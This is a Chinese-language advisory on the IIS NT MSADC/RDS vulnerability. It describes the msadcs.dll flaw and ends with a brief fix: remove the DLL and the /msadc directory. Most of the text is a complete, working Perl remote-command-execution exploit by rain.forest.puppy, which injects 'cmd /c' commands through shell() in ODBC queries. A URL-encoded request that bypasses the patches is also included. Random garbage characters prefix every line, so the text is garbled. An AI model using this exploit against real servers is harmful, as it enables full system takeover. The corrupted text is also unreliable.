IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
(?MRbX]@ x`N _tWZ 涉及程序：
jR~2mf!h*e Microsoft NT server
S" ?py=7 p x;X} Cd 描述：
'G1~\CT 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
nLK%5C jxA`RSY 详细：
WBTdQG
Q6 如果你没有时间读详细内容的话，就删除:
<3\t J c:\Program Files\Common Files\System\Msadc\msadcs.dll
$47cKit|k: 有关的安全问题就没有了。
\(UEjlo fdr.'aMf% 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
#PYTFB % BNU]NcA#*, 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
'Y23U7 n0B 关于利用ODBC远程漏洞的描述，请参看:
ydp?%RB3w HfN-WYiR http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 9/Q_Jv-Q J/(3:
a> 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
".+wz1 http://www.microsoft.com/security/bulletins/MS99-025faq.asp Id8^6FLw $Yfm>4 这里不再论述。
`q Sfo` } \5^$[p 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
vn;_|NeSf G =4Da~<ij /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
@}@`lv65} 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
p"^^9 '`= R03V+t= Bvx%|:R #将下面这段保存为txt文件，然后: "perl -x 文件名"
5=CL R nA8]/r 1k #!perl
cy=,Dr9O #
d R2#n # MSADC/RDS 'usage' (aka exploit) script
v8!
1"FYL #
X$,#OR # by rain.forest.puppy
:b+C<Bp64r #
7aTo! T # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
9 k.LV/Y # beta test and find errors!
M ,.++W\ 9:0JWW^so use Socket; use Getopt::Std;
`o(PcX3/} getopts("e:vd:h:XR", \%args);
e9r#r~Qq| 2GRh8 G&5 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
uiq)?XUKv i|u3 Qt5 if (!defined $args{h} && !defined $args{R}) {
.v [8ie print qq~
I^ W Usage: msadc.pl -h <host> { -d <delay> -X -v }
@D K,ka( -h <host> = host you want to scan (ip or domain)
[.tqgU -d <seconds> = delay between calls, default 1 second
b{H&% Jx) -X = dump Index Server path table, if available
)W9 $ _<Z -v = verbose
r.M8#YL -e = external dictionary file for step 5
O?Xg%k# Z[8 {V Or a -R will resume a command session
pK O\tkMJ btb-MSkO ~; exit;}
k^gnOU ; NC ::;e $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
;;BQuG if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
+s&+G![ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
C/dqCUX: if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
lP m'>, }Y $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
_[h1SAJ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Mj5=t:MI Ni IX^&N1 if (!defined $args{R}){ $ret = &has_msadc;
m;o \.s die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
*=}$@O S .(Q3 M0.D print "Please type the NT commandline you want to run (cmd /c assumed):\n"
^!H8"CdC3 . "cmd /c ";
Er}
xB~<t $in=<STDIN>; chomp $in;
'3=[xVnv $command="cmd /c " . $in ;
Uxx=$&# ]t_AXKd if (defined $args{R}) {&load; exit;}
(_-<3)q4 'LIJpk3J print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Q%~b(4E^7P &try_btcustmr;
reLYtv m<00 5_Z0Q print "\nStep 2: Trying to make our own DSN...";
[ >#?C*s &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
04NI.Jv &s_O6cqgh print "\nStep 3: Trying known DSNs...";
`9 b/Q &known_dsn;
k{Yj!C>
# VR5$[-E3 print "\nStep 4: Trying known .mdbs...";
$Hqm 09w &known_mdb;
&k(t_~m> sJ tz{' if (defined $args{e}){
VkFTIy t print "\nStep 5: Trying dictionary of DSN names...";
Y1EN|!WZ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
~=(?Z2UDA_ 7(na?Z$
print "Sorry Charley...maybe next time?\n";
Q(gu ";& exit;
\Oh9)X: I }K9 V r! ##############################################################################
-?<wvUbR{ JE,R[` & sub sendraw { # ripped and modded from whisker
E,E:W uB sleep($delay); # it's a DoS on the server! At least on mine...
x:=Kr@VP my ($pstr)=@_;
csT_!sI I socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
u$x H iD die("Socket problems\n");
Ac<V!v71 if(connect(S,pack "SnA4x8",2,80,$target)){
]hTYh^' e select(S); $|=1;
20;M- Wx print $pstr; my @in=<S>;
qJB9z0a<Ov select(STDOUT); close(S);
u*`acmS>N return @in;
ga^O]yK } else { die("Can't connect...\n"); }}
0iqa]Am Lhu2;F\/ ##############################################################################
]OZZPo "?lirOD sub make_header { # make the HTTP request
^Qz8 `1`;Z my $msadc=<<EOT
vjaIFyj POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
GEfX,9LF & User-Agent: ACTIVEDATA
?rXh
x{vD
Host: $ip
3(%hHM7DM Content-Length: $clen
& PrV+Lv Connection: Keep-Alive
=K{$?%"
YFOK%7K ADCClientVersion:01.06
?qYw9XQYL Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
1t=Y+|vA9 ( :]. ?o --!ADM!ROX!YOUR!WORLD!
p #'BV'0bl Content-Type: application/x-varg
s0v?*GRX Content-Length: $reqlen
$bh2z KB) 2fTkHBhn& EOT
~}w(YQy=y ; $msadc=~s/\n/\r\n/g;
&$jg *Kr return $msadc;}
hf0G-r_ow qO[6?q=c: ##############################################################################
3Gf^IV-
A_T-]YQ sub make_req { # make the RDS request
qdm5dQ (c my ($switch, $p1, $p2)=@_;
U *, 8 ,C my $req=""; my $t1, $t2, $query, $dsn;
J]nb;4w e V^ @kI4 if ($switch==1){ # this is the btcustmr.mdb query
O[y.3>l[s $query="Select * from Customers where City=" . make_shell();
E*>tFw&[ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
D<5)i)J" $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
h=YY>
x RfDIwkpp elsif ($switch==2){ # this is general make table query
=| S8.|r+ $query="create table AZZ (B int, C varchar(10))";
xZPS oxu $dsn="$p1";}
O\pqZ`E=s )<9g+^ elsif ($switch==3){ # this is general exploit table query
hE-`N,i } $query="select * from AZZ where C=" . make_shell();
QkZT% !7 $dsn="$p1";}
o1MI&}r b* qkox;j elsif ($switch==4){ # attempt to hork file info from index server
% ~J90a $query="select path from scope()";
PHi'&)| $dsn="Provider=MSIDXS;";}
UtG@0(6C v<_}Br2I[ elsif ($switch==5){ # bad query
xT{qeHeZ9, $query="select";
)QaI{ z $dsn="$p1";}
6Z
~>d;&9 >FFZ8= $t1= make_unicode($query);
?tE}89c $t2= make_unicode($dsn);
^i&/ k $req = "\x02\x00\x03\x00";
mJ<rzX $req.= "\x08\x00" . pack ("S1", length($t1));
RW48>4f/+ $req.= "\x00\x00" . $t1 ;
gWqmK/.U.0 $req.= "\x08\x00" . pack ("S1", length($t2));
)Ac8'{Tq/ $req.= "\x00\x00" . $t2 ;
j#Ly!%dp $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
VXZd RsV8T return $req;}
HnUM:-6 .}kUD]pW ##############################################################################
kOETx a+)Yk8%KY sub make_shell { # this makes the shell() statement
f'TjR#w return "'|shell(\"$command\")|'";}
sn2SDHY U# Y ?'3 : ##############################################################################
?*K;+@EH f'\I52;FB sub make_unicode { # quick little function to convert to unicode
?+D_*'65D my ($in)=@_; my $out;
R un)E*sf for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
9 }|Bs=q return $out;}
H B {w: (<s7X$(]e ##############################################################################
\K`AO{ D@ xO9,,w47 sub rdo_success { # checks for RDO return success (this is kludge)
$%`OJf*k my (@in) = @_; my $base=content_start(@in);
+VDwDJ)lG if($in[$base]=~/multipart\/mixed/){
dP
T)& return 1 if( $in[$base+10]=~/^\x09\x00/ );}
B{H;3{0 return 0;}
JVwYV5-O<0 E 0\ ' ##############################################################################
8<0H(lj7_ E,shTh%&~ sub make_dsn { # this makes a DSN for us
K:z|1 V my @drives=("c","d","e","f");
x^8x z5:O print "\nMaking DSN: ";
dwv xV$Nt foreach $drive (@drives) {
#p&i H9c_ print "$drive: ";
u3Z*hs)Z% my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
6vro:`R ? "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
ru S/Yh . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
k )Z? $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
.sAc nf" return 0 if $2 eq "404"; # not found/doesn't exist
qnyFR P C if($2 eq "200") {
{3 yzC foreach $line (@results) {
pwT|T;j* return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
>wej1#\3 } return 0;}
k`Ab*M$@Xs SEr\ u# ##############################################################################
8^\DQ& D ?'P8H^K6u sub verify_exists {
5aL0N my ($page)=@_;
jbpnCUzi my @results=sendraw("GET $page HTTP/1.0\n\n");
%FT F return $results[0];}
7 n,nODbJ $ n(?oyf ##############################################################################
g}{Rk >k ]n${j/ x sub try_btcustmr {
GuQ 3$B3j my @drives=("c","d","e","f");
cInzwdh7 my @dirs=("winnt","winnt35","winnt351","win","windows");
Bqv Oi~ l gmLGK1 foreach $dir (@dirs) {
FgE6j; print "$dir -> "; # fun status so you can see progress
$.R$I&U foreach $drive (@drives) {
r&A#h;EQX2 print "$drive: "; # ditto
;dRTr * $reqlen=length( make_req(1,$drive,$dir) ) - 28;
? =_l=dR $reqlenlen=length( "$reqlen" );
3*CF !Y% $clen= 206 + $reqlenlen + $reqlen;
=\J^_g4-l =:P9 $ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
qeQTW@6
F if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
9Wb9g/L else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
, =I b Z ']u w,b ##############################################################################
*ls}r5k 2Y S gAY/# sub odbc_error {
92 ]>" my (@in)=@_; my $base;
(+4gq6b my $base = content_start(@in);
zc'!a" if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
t# &^ -; $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"%D+_Yb'X $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c;Hf +n $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
mc?5,oz;pz return $in[$base+4].$in[$base+5].$in[$base+6];}
_ p?lRU8 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
2fO ~%!.G print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
*1ekw#' $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
/_ xwHiA 3xsC "c> ##############################################################################
'-D-H}%;}M X4BDl sub verbose {
pJ6bX4QnDX my ($in)=@_;
WU Q2[)< return if !$verbose;
kR%CSLOVy print STDOUT "\n$in\n";}
N12K*P[! 1jh^-d5 ##############################################################################
NVS U)# )$P!7$C- sub save {
(jP N+yQ my ($p1, $p2, $p3, $p4)=@_;
LZ|G" 5X[ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
H_ .@{8I print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
}LM^>M% close OUT;}
KAjKv_6=g Fq&@dxN3 ##############################################################################
l|%7)2TyG) PD|I3qv~ sub load {
Iu 2RK my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
q_g'4VZv open(IN,"<rds.save") || die("Couldn't open rds.save\n");
$T^O3 8$ @p=<IN>; close(IN);
8|d l t$ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
j08 G-_Gjn $target= inet_aton($ip) || die("inet_aton problems");
FnP/NoZa> print "Resuming to $ip ...";
1mJBxg}( $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
tJUMLn? if($p[1]==1) {
U/&?r Y^| $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$ZK4Ps -$ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
!
D'U:) my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
pb{'t2kk if (rdo_success(@results)){print "Success!\n";}
uCNQ.Nbf C else { print "failed\n"; verbose(odbc_error(@results));}}
!z{bqPlFGG elsif ($p[1]==3){
*;m5^i<,;S if(run_query("$p[3]")){
xHJ+! print "Success!\n";} else { print "failed\n"; }}
P gr>qcbql elsif ($p[1]==4){
\hc} xy
0 if(run_query($drvst . "$p[3]")){
JR$Dp&]I print "Success!\n"; } else { print "failed\n"; }}
)qn
= exit;}
NrgN{6u; 3.Ni%FF` ##############################################################################
qX0IHe I:]s/r7 sub create_table {
Vd)iv\a my ($in)=@_;
e&8 p TD3 $reqlen=length( make_req(2,$in,"") ) - 28;
}Da8S|)H $reqlenlen=length( "$reqlen" );
JXft QOn $clen= 206 + $reqlenlen + $reqlen;
ah" 2^x my @results=sendraw(make_header() . make_req(2,$in,""));
UQPd@IVu6 return 1 if rdo_success(@results);
aP cO 9 my $temp= odbc_error(@results); verbose($temp);
$$A{|4,aI return 1 if $temp=~/Table 'AZZ' already exists/;
y`mE s j return 0;}
*. Y! ZaK |B)e! # ##############################################################################
L
G,XhN =Q.2:*d. sub known_dsn {
gEO#-tMjOQ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
VMad ]bEf my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
)!|K3%9 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
VXn]*Mo "banner", "banners", "ads", "ADCDemo", "ADCTest");
H^K(1
'RQZU*8 foreach $dSn (@dsns) {
&I:X[=;g print ".";
Gd%6lab next if (!is_access("DSN=$dSn"));
6\\B{%3R2 if(create_table("DSN=$dSn")){
> :!faWX print "$dSn successful\n";
lr +Kwve if(run_query("DSN=$dSn")){
$SG^, !!&A print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
OZ![9l print "Something's borked. Use verbose next time\n";}}} print "\n";}
~bigaY .oaW#f}0P ##############################################################################
p
tv @] H&(bw sub is_access {
a}M7"v9 my ($in)=@_;
y"cK@sOo $reqlen=length( make_req(5,$in,"") ) - 28;
`Wn0v2@a(~ $reqlenlen=length( "$reqlen" );
R(k6S $clen= 206 + $reqlenlen + $reqlen;
z;#}u C my @results=sendraw(make_header() . make_req(5,$in,""));
u\^<V) my $temp= odbc_error(@results);
I y8gQdI verbose($temp); return 1 if ($temp=~/Microsoft Access/);
K?-K<3]9f return 0;}
45/f}kvy #mk#&i3"k ##############################################################################
hB P]^~( ?F
AsV& y sub run_query {
qAR~j s`5 my ($in)=@_;
"Z &qOQg%3 $reqlen=length( make_req(3,$in,"") ) - 28;
^yy\CtG $reqlenlen=length( "$reqlen" );
O4 \ GL $clen= 206 + $reqlenlen + $reqlen;
.N_0rPO,Kw my @results=sendraw(make_header() . make_req(3,$in,""));
*S~. KW [ return 1 if rdo_success(@results);
)\`TZLR my $temp= odbc_error(@results); verbose($temp);
|A' 8 'z&q return 0;}
HQt=.#GW M (b'4 ##############################################################################
MukPY2[Am aNn < NW sub known_mdb {
nLto=tNUO my @drives=("c","d","e","f","g");
gWy 2$) my @dirs=("winnt","winnt35","winnt351","win","windows");
87~. |nu my $dir, $drive, $mdb;
]hF [f|V my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Bwb3@v NA %L/Wc,My # this is sparse, because I don't know of many
3 c@Cb`w@ my @sysmdbs=( "\\catroot\\icatalog.mdb",
k L*Q}) "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
S;+bQ. "\\system32\\certmdb.mdb",
ETS Bd[ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Vfg144FG' &:akom8 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
0e q> "\\cfusion\\cfapps\\forums\\forums_.mdb",
9S=9m[#y' "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
YOGw Q "\\cfusion\\cfapps\\security\\realm_.mdb",
K+ ufcct "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Y<w2_ +( "\\cfusion\\database\\cfexamples.mdb",
1kb?y4xeJ "\\cfusion\\database\\cfsnippets.mdb",
K JPB- "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Z=8 25[p "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
VG2TiR 1 "\\cfusion\\brighttiger\\database\\cleam.mdb",
D?@330'P9C "\\cfusion\\database\\smpolicy.mdb",
ZS > }NN "\\cfusion\\database\cypress.mdb",
m[ay "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
K`(STvtM "\\website\\cgi-win\\dbsample.mdb",
d!G%n
* "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
{n$9o "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
e W\7X%I ); #these are just
J%j#gyTU foreach $drive (@drives) {
TL] 2{rf~ foreach $dir (@dirs){
72~)bu foreach $mdb (@sysmdbs) {
}`f%"Z print ".";
HxU. kcf if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
sb4r\[? print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
b=K if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
6D{|! i|r4 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
NkNw9?: #4 } else { print "Something's borked. Use verbose next time\n"; }}}}}
bi#o1jR o2a`4K foreach $drive (@drives) {
ln9MVF'!& foreach $mdb (@mdbs) {
^Bm9y R print ".";
yZmQBh$ if(create_table($drv . $drive . $dir . $mdb)){
$w +g%y) print "\n" . $drive . $dir . $mdb . " successful\n";
WZ 6!VE { if(run_query($drv . $drive . $dir . $mdb)){
g B+cU print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Z%(aBz 7Et } else { print "Something's borked. Use verbose next time\n"; }}}}
{Swou>X4 }
h!yF 7"
Dw4}T ##############################################################################
FT `y3 ~ U g3PZ7lK sub hork_idx {
-Zocu<Rs print "\nAttempting to dump Index Server tables...\n";
;#` Z(A } print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
f 7d) $reqlen=length( make_req(4,"","") ) - 28;
e/#4)@] $reqlenlen=length( "$reqlen" );
1i bQ'b Z $clen= 206 + $reqlenlen + $reqlen;
e)!X9><J my @results=sendraw2(make_header() . make_req(4,"",""));
]~3wq[ O if (rdo_success(@results)){
q Z`@ Ro my $max=@results; my $c; my %d;
Qs# v/r for($c=19; $c<$max; $c++){
53BXz=
k $results[$c]=~s/\x00//g;
CM9+h;Zm $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
&>L\unS $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
,o*b-Cv/ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
$'?CY)h{ $d{"$1$2"}="";}
jpm}EOq<% foreach $c (keys %d){ print "$c\n"; }
V aVKWJg$ } else {print "Index server doesn't seem to be installed.\n"; }}
L!mQP akJ{- ##############################################################################
mQ Vd uG 1m}'Y@I sub dsn_dict {
t( p open(IN, "<$args{e}") || die("Can't open external dictionary\n");
dL 6sb;7R while(<IN>){
d/P$q MD $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
UO<uG#FB next if (!is_access("DSN=$dSn"));
0<!kGL5 if(create_table("DSN=$dSn")){
C(e!cOG print "$dSn successful\n";
P * I\FV if(run_query("DSN=$dSn")){
aOW bIS[8 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
s![=F}ck print "Something's borked. Use verbose next time\n";}}}
5A ~w_p*} print "\n"; close(IN);}
3w!oJB wpx,~`& ##############################################################################
)z7. S"U P63z8 ^y sub sendraw2 { # ripped and modded from whisker
if#$wm% sleep($delay); # it's a DoS on the server! At least on mine...
V %Y. N4H my ($pstr)=@_;
Lm ,io \z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
f= } u;^ die("Socket problems\n");
;u}MG3Y8 if(connect(S,pack "SnA4x8",2,80,$target)){
oJyC{G print "Connected. Getting data";
>4LX!^V" open(OUT,">raw.out"); my @in;
!Q#u
i[0q select(S); $|=1; print $pstr;
P,I3E?! j while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
u`E_Q8 close(OUT); select(STDOUT); close(S); return @in;
wT*`Od8w } else { die("Can't connect...\n"); }}
K# _plpr z_A%>E4 ##############################################################################
WYEvW<Hv 3i35F.=X, sub content_start { # this will take in the server headers
^ ]E| >~\ my (@in)=@_; my $c;
/*r MveT for ($c=1;$c<500;$c++) {
oDKgW?x if($in[$c] =~/^\x0d\x0a/){
#z~D1Zl if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Wd~}O<" else { return $c+1; }}}
9FP l return -1;} # it should never get here actually
Cv;z^8PZJz `n5RDz/f0 ##############################################################################
z0g$+bhy }@ 1LFZx sub funky {
^Ud`2 OW;2 my (@in)=@_; my $error=odbc_error(@in);
tet if($error=~/ADO could not find the specified provider/){
"TN}=^A\F print "\nServer returned an ADO miscofiguration message\nAborting.\n";
,,fL K1 exit;}
F^`sIrZvs if($error=~/A Handler is required/){
RoJ&dK print "\nServer has custom handler filters (they most likely are patched)\n";
* $ ^M E exit;}
nU`vj`K
if($error=~/specified Handler has denied Access/){
"thfd"- print "\nServer has custom handler filters (they most likely are patched)\n";
szmjp{g0 exit;}}
Br-y`s~cP 8 hW Q ##############################################################################
A4( ^I
u %\:.rs^ sub has_msadc {
= 2My-%i my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
B: {bmvy my $base=content_start(@results);
"GZhr[AW return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
`pII-dSC% return 0;}
hDmVv;M: ='soSnT ########################
AbcLHV. bs_I{bCu? Hb!Q}V+Kb8 解决方案：
2uii Tg> 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
xu&
v(C9 2、移除web 目录: /msadc
